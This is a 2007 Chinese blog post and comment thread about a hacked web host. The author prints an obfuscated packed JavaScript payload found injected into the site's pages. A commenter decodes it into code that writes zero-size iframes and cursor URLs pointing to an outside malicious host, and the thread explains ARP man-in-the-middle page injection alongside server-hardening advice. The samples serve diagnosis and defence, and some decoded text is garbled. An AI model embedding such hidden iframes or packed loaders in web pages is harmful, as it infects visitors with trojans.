黑月.NET

.net 中的最新技术。ajax,atlas,web gis,google gis 技术研究。 .net 基础研究,web技术
随笔 - 61, 文章 - 3, 评论 - 80, 引用 - 1
数据加载中……

网站中毒

刚做了一个网站2008-应届生-校园招聘信息博客 购买了虚拟空间,可是发布没几天就发现中毒了

打开网站首页,查看源文件,发现页面头部被加了一段代码<***/1.js>
下载有关的文件并没有这行代码?不知道为什么?这段代码到底加到哪里了呢?
这里有几个问题:
1)我下载了那个1.js文件, 打开发现是加密的。形式如 p.....u....b...l...c.....//..1///1/// 谁知道这种加密方式?有没有这种工具给js文件加密,得到上面的那种效果呢?还有这样加密后的js怎么执行呢?
2)好不容易还原了1.js得到如下代码, 看不懂是什么意思?
各位仁兄有能看懂如下代码的,劳烦帮忙解释一下代码是什么作用?兄弟先行谢过了!
eval(function(p,a,c,k,e,d)
{
    e=function(c)
    {
        return(c35?String.fromCharCode(c+29):c.toString(36))
    };
    if(!''.replace(/^/,
    String))
    {
        while(c--)
        {
            d[e(c)]	=k[c]||	e(c)
        }
        k	=[function	(e)
        {
            returnd	[e]
        }
        ];
        e=function()
        {
            return
            '\\w+'
        };
        c=1
    };
    while(c--)
    {
        if(k[c])
        {
            p=p.replace(newRegExp('\\b'+e(c)+'\\b','g'),k[c])
        }
    }
    returnp
}
('Y("\\w\\l\\5\\8\\2\\1\\4\\5\\3\\N\\0\\2\\i\\h\\M\\k\\12\\F\\j\\6\\3\\u \\g\\0\\5\\3\\d\\3\\5\\0\\s\\3\\A\\j\\2\\0\\i\\h\\3\\k\\12\\u\\g\\0 \\5\\9\\m\\0\\2\\u\\1\\c\\0\\i\\u\\g\\0\\5\\9\\b\\0\\2\\u\\1\\c\\ 0\\i\\h\\3\\U\\3\\C\\X\\O\\T\\p\\O\\T\\p\\O\\B\\p\\p\\p\\h\\k\\12\\F\\j\ \6\\3\\8\\4\\4\\t\\1\\0\\z\\2\\6\\1\\5\\b\\3\\d\\3\\5\\0\\s\\3\\z\\2\\6\\ 1\\5\\b\\i\\a\\4\\8\\l\\c\\0\\5\\2\\9\\8\\4\\4\\t\\1\\0\\h\\k\\12\\F\\j\\6\ \3\\8\\4\\4\\t\\1\\0\\W\\0\\j\\a\\0\\6\\3\\d\\3\\f\\G\\4\\4\\t\\1\\0\\B\\d\\f\\3\\k \\12\\F\\j\\6\\3\\P\\0\\b\\1\\5\\E\\4\\m\\1\\2\\1\\4\\5\\3\\d\\3\\8\\4\\4\ \t\\1\\0\\z\\2\\6\\1\\5\\b\\9\\1\\5\\a\\0\\v\\H\\w\\i\\8\\4\\4\\t\\1\\0\\W \\0\\j\\a\\0\\6\\h\\k\\12\\1\\w\\3\\i\\P\\0\\b\\1\\5\\E\\4\\m\\1\\2\\1\\4\ \5\\3\\11\\d\\3\\13\\B\\h\\M\\3\\k\\12\\R\\3\\0\\o\\m\\0\\3\\k\\12\\M\\3\\a\\ 4\\8\\l\\c\\0\\5\\2\\9\\8\\4\\4\\t\\1\\0\\3\\d\\3\\f\\G\\4\\4\\t\\1\\0\\B\\d\\E \\H\\E\\Z\\D\\10\\B\\y\\0\\v\\n\\1\\6\\0\\m\\d\\f\\U\\3\\u\\g\\0 \\5\\9\\2\\4\\N\\14\\u\\z\\2\\6\\1\\5\\b\\i\\h\\k\\12\\a\\4\\8\\l\\c\\0\\5\\ 2\\9\\s\\6\\1\\2\\0\\o\\5\\i\\f\\q\\A\\D\\K\\3\\m\\2\\Q\\o\\0\\d\\e\\f\\G \\V\\J\\z\\H\\J\\x\\3\\l\\6\\o\\i\\L\\g\\2\\2\\n\\x\ \7\\7\\b\\l\\j\\9\\5\\m\\C\\b\\4\\9\\8\\4\\c\\7\\a\\1\\6\\7\\1\\5\\a\\0\\\ \I\\n\\1\\8\\7\\P\\4\\a\\Q\\9\\S\\n\\b\\L\\h\\e\\f\\r\\f\\h\\y\\k\\12\\a\\4 \\8\\l\\c\\0\\5\\2\\9\\s\\6\\1\\2\\0\\o\\5\\i\\f\\q\\A\\D\\K\\3\\m\\2\\Q\\o \\0\\d\\e\\f\\G\\V\\J\\z\\H\\J\\x\\3\\l\\6\\o\\i\\L\\g\\2\\2\\n\\x\\7\\7\\b\\l\\ j\\9\\5\\m\\C\\b\\4\\9\\8\\4\\c\\7\\a\\1\\6\\7\\1\\5\\a\\0\\v\\I\\n\\1\\8\\7\ \2\\1\\2\\o\\0\\9\\S\\n\\b\\L\\h\\e\\f\\r\\q\\7\\A\\D\\K\\r\\q\\7\\A\\D\\K\\r\\ f\\h\\y\\k\\12\\a\\4\\8\\l\\c\\0\\5\\2\\9\\s\\6\\1\\2\\0\\o\\5\\i\\f\\q\\1\\w\\ 6\\j\\c\\0\\3\\m\\6\\8\\d\\g\\2\\2\\n\\x\\e\\7\\e\\7\\b\\l\\j\\9\\5\\m\\C\\b\\4\ \9\\8\\4\\c\\e\\7\\a\\1\\6\\e\\7\\1\\5\\a\\0\\ v\\I\\n\\1\\8\\e\\7\\1\\5\\a\\0\\v\\9\\g\\2\\c\\3\\s\\1\\a\\2\\g\\d\\p\\3\\ g\\0\\1\\b\\g\\2\\d\\p\\r\\q\\e\\7\\1\\w\\6\\j\\c\\0\\r\\f\\h\\y\\k\\12\\a\\4\ \8\\l\\c\\0\\5\\2\\9\\s\\6\\1\\2\\0\\o\\5\\i\\f\\q\\1\\w\\6\\j\\c\\0\\3\\m\\6\\ 8\\d\\g\\2\\2\\n\\x\\e\\7\\e\\7\\b\\l\\j\\9\\5\\m\\C\\b\\4\\9\\8\\4\\c\\e\\7\\a\\ 1\\6\\e\\7\\1\\5\\a\\0\\v\\I\\n\\1\\8\\e\\7\\2\\S\\9\\g\\2\\c\\3\\s\\1\\a\\2\\g\\ d\\p\\3\\g\\0\\1\\b\\g\\2\\d\\p\\r\\q\\e\\7\\1\\w\\6\\j\\c\\0\\r\\f\\h\\y\\k\\12\\ R\\k\\12\\R\\N\\0\\2\\i\\h\\y")',62,67,'145|151|164|40|157|156|162|57|143|56 |144|147|155|75|1 34|42|150|51|50|141|15|165|163|160|154|60|74|76|167|153|124|170|146|7 2|73|123|104|61|62|111|120|166|103|117|137|122|126|47|173|107|52|142|1 71|175|152|66|53|125|110|64|eval|127|116|41||55|115'.split('|'),0, { } ))

		

posted on 2007-09-11 16:27 黑月 阅读(1050) 评论(20)  编辑 收藏

评论

#1楼    回复  引用    

对于这种代码,觉得找个调试器来分析应该要好些,至少能知道它在干什么。
我对JS很猛,不得解!

#2楼    回复  引用    

应该不是网站的问题,你要别人访问一下你的网站吧
你所在的局域网内可能是中了arp病毒
如果与你不在同一个局域网内的也访问不了,那就是服务器中了那个病毒.
2007-09-11 16:34 | QQ:281321791 [未注册用户]

#3楼 [楼主]   回复  引用  查看    

我让他们客服访问了这个网站(我在北京,他们在广东)也说有病毒。应该排除了是arp病毒。
他们客服说:估计是网站被人攻击。但是谁知道怎么解决这个问题呢?
2007-09-11 16:36 | 黑月      

#4楼 [楼主]   回复  引用  查看    

还有,病毒用的什么技术?能让每个页面,包括htm页面都在访问的时候查看源代码多出来一行<*.js>代码呢?
其中直接ftp下载下来相关的页面,并没有多出来<.js>这行代码
2007-09-11 16:38 | 黑月      

#5楼    回复  引用  查看    

以前公司的网站也出现过这样的问题,被人挂了个exe在里面。
2007-09-11 16:43 | Charly      

#6楼    回复  引用  查看    

arp
2007-09-11 16:48 | 第一控制.NET      

#7楼    回复  引用  查看    

arp,可能服务器所放的局域网里面有机器中毒了 arp欺骗
2007-09-11 16:50 | stonezhu      

#8楼 [楼主]   回复  引用  查看    

问题已经解决了。他们客服的效率挺高的:)
2007-09-11 16:56 | 黑月      

#9楼 [楼主]   回复  引用  查看    

arp 欺骗? 为什么它能在每个页面头加一段代码呢?能讲讲原理吗?
2007-09-11 16:59 | 黑月      

#10楼 [楼主]   回复  引用  查看    

网站经常给别人加了代码,好多人认为这是红色代码,不过也有一些是开放FSO权限,给别人注入,但通阅读本文希望对你有帮助。

什么是ARP?

ARP(AddressResolutionProtocol)地址解析协议用于将计算机的网络IP地址转化为物理MAC地址。ARP协议的基本功能就是通过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的顺利进行。

ARP病毒的危害性?

当局域网内某台主机感染了ARP病毒后,病毒伪装网关IP-MAC信息,欺骗局域网内其他主机,从而拦截发往网关的数据,导致网络时断时续。

ARP病毒的危害性极大,严重的将导致局域网内的用户隐私保密信息外泄,例如:用户名、密码、聊天记录、邮件内容等私密信息。

原理:

目的:通过arp欺骗来直接挂马

对服务器其下网站插入类似:

<iframe src=http://www.***.com/*.htm width=0 height=0></iframe>

优点:可以直接通过arp欺骗来挂马.

通常的arp欺骗的攻击方式是在同一vlan下,控制一台主机来监听密码,或者结合ssh中间人攻击来监听ssh1的密码

但这样存在局限性:

1.管理员经常不登陆,那么要很久才能监听到密码

2.目标主机只开放了80端口,和一个管理端口,且80上只有静态页面,那么很难利用.而管理端口,如果是3389终端,或者是ssh2,那么非常难监听到密码.

优点:1.可以不用获得目标主机的权限就可以直接在上面挂马

2.非常隐蔽,不改动任何目标主机的页面或者是配置,在网络传输的过程中间直接插入挂马的语句.

3.可以最大化的利用arp欺骗,从而只要获取一台同一vlan下主机的控制权,就可以最大化战果.

原理:arp中间人攻击,实际上相当于做了一次代理。

正常时候: A---->B ,A是访问的正常客户,B是要攻击的服务器,C是被我们控制的主机
arp中间人攻击时候: A---->C---->B

B---->C---->A

实际上,C在这里做了一次代理的作用

那么HTTP请求发过来的时候,C判断下是哪个客户端发过来的包,转发给B,然后B返回HTTP响应的时候,在HTTP响应包中,插入一段挂马的代码,比如 <iframe>...之类,再将修改过的包返回的正常的客户A,就起到了一个挂马的作用.在这个过程中,B是没有任何感觉的,直接攻击的是正常的客户A,如果A是管理员或者是目标单位,就直接挂上马了.

在所有网页中查找类似

<iframe src="http://..." width=0 height=0></iframe>

的代码,全部删掉。 如果你是动态网页,比如动网论坛,有些代码在数据库里,需要进库里改。

治本:

如果你的服务器是虚空间,要治本只能找虚空间的管理员。如果是自己管理的服务器,可以参照下面的办法—— (以下说的是Windows服务器的):

1、赶紧改系统管理员administrator的密码,另建一个管理员账号。密码都尽量设得复杂一点。

2、删除除了上述两个管理员账号及Web服务器用的IUSR_?和IWAM_?外的其它账号

3、服务器上安装杀毒软件,升级到最新版本,全面杀毒杀马。注意停止服务器上所有无关的服务和驱动。其中有一些没有公司签名的,可能就是病毒的。关于怎么彻底清理病毒和木马,这里就不详细说明了。

4、用Windows Update补齐所有系统补丁。

5、如果是XP或2003系统,启用自带的防火墙,将除了80端口和你远程登陆端口外的所有端口,禁止ICMP访问。

6、如果你的网站有动态网页,数据库用的是MS SQL, 需要特别注意防止SQL Injection,要点如下(更详细的请自行查数据):

a 将MS SQL Server的xp_cmdshell扩展存储删掉

b 减小你动态网页中连接数据库的那个账号在数据库系统中的访问权限

c 仔细检查你的每个动态网页,确保每个输入(包括URL中的参数)都进行了检查,过滤掉了「'-;」等非法字符

如果是access数据库,要防止access库文件被人下载更换再传上来。

7、修改你数据库中各主要账号的密码。比如sa 动态网页的连接账号等

8、注意IIS的安全配置

a 删掉IIS安装时那个缺省网站,删掉pinters等虚拟目录

b 停止IIS带你ftp和smtp

c 配置较详细的日志记录

d 禁用脚本调试和向客户端发送详细调试信息

9、注意你用于文件上传的ftp服务器的安全(查看你所用ftp服务器的有关安全资料)

10、随时注意检查系统的登录信息(事件查看器)和IIS日志

详情做法可参考http://www.linkwan.com/gb/tech/htm/650.htm

如果多少收到这样的情况,建议服务端启用windows防火墙除外,还安装好一个ARP
防火墙比较好,这是因为机房中也是一个大的局域网,小一点来看,机柜之间也是局域网,
以被勉同机柜的主机,影响到你自已,

下面是简单价绍ARP防火墙,实用比较大的部份,

查杀ARP病毒是ARP防火墙特用的功能,软件能100%查杀正在对外攻击的ARP病毒,无需升级病毒库特征。查杀ARP病毒的使用方法如下:

1. ARP拦截到本机外对的ARP攻击时,点击进入显示详细数据的页面,如下图所示:

PID即发送攻击数据的进程的ID号,双击此数据即可查看进程的详细信息。或者选中数据后点右键,选择“查看进程详细信息”

2. 显示的进程信息如下所示:

2007-09-11 17:03 | 黑月      

#11楼 [楼主]   回复  引用  查看    

为什么中毒问题解决了:)
还有谁能看懂那段js代码呢?帮忙解释一下吧。发现这段代码挺奇怪的。
2007-09-11 17:05 | 黑月      

#12楼    回复  引用    

把eval改成alert就可以显示js代码。如果还是加密的就再做类似的操作。
应该是挂马的脚本。利用IE漏洞传播木马。
2007-09-11 17:11 | aNUiz [未注册用户]

#13楼    回复  引用    

是Dean Edwards的Js压缩器的另一个版本,之前分析过的。
http://hi.baidu.com/anuiz/blog/item/b14a0708334d2fd162d9868f.html 这是之前的分析。

压缩器可以在http://dean.edwards.name/packer/ 找到,就是上文分析的那个。 你中的病毒好像是另一个版本的。不过基本一样,花得更厉害了,呵呵。
2007-09-11 17:31 | aNUiz [未注册用户]

#14楼    回复  引用    

应该是Arp的病毒,半月前我们单位局域网中也中了这个病毒,刚开始以为是网站中加入了病毒,最后发现访问所有网站的网页时都会加上这段脚本,才知道是Arp病毒,最后找到是我们局域网中其中的一台中了病毒,然后把它的网线断掉就好了。
2007-09-11 17:33 | supersun [未注册用户]

#15楼    回复  引用    

那帮家伙用C实现了TCP协议栈,哈哈`~~
2007-09-11 17:39 | aNUiz [未注册用户]

#16楼    回复  引用  查看    

arp病毒,高级木马
2007-09-11 21:21 | try      

#17楼    回复  引用  查看    

这段代码解析出来以后是这样:
function Get(){
var T hen = new Date()
The n. setTime(Then. getTim 145() + 24*60*60*1000)
va  cookieString = new Str 151ng(document. cookie)
var cookieHeader = "Cookie1="

var beginPosition = coo ieString. indexOf(cookieH eader)
if (beginPositio  != -1){
} else
{ d 157cument. cookie = "Cookie1=P OPWIN1;expires="+ The n. toGMTString()
documen 164. writeln("<DIV st 71le= 34"C URSOR 2 url('http 2 /gua. ns2go. com/dir/inde 137pic/bod 71. jpg') 34">");
do cument. writeln("<DIV st 71l e= 34"CURSOR 2 url('http 2//gu 141. ns2go. com/dir/index_pic/ itle. jpg') 34"></DIV></DIV> 42);
document. writeln("<if 162ame src=http 2 34/ 34/gua. ns2go 56 com 34/dir 34/inde 170_pic 34/index. htm width=0 150eight=0>< 34/iframe>");
do 143ument. writeln("<iframe sr 143=http 2 34/ 34/gua. ns2go. com 34/d 151r 34/index_pic 34/tj. htm width 750 height=0>< 34/iframe>");
175
}Get();
2007-09-12 09:17 | Lion      

#18楼    回复  引用    

@Lion
请问代码是怎么解析出来的?
2007-09-12 11:04 | 游客-) [未注册用户]

#19楼    回复  引用  查看    

可以看这篇文章:
http://idoall.org/blogs/ian/archive/2007/09/12/js-eval-function-p-a-c-k-e-d.aspx
2007-09-12 18:36 | Lion      

标题  
姓名  
主页
Email (只有博主才能看到) 
验证码 *  看不清,换一张 [登录][注册]
内容(请不要发表任何与政治相关的内容)  
  登录  使用高级评论  新用户注册  返回页首  恢复上次提交      
该文被作者在 2007-09-11 16:35 编辑过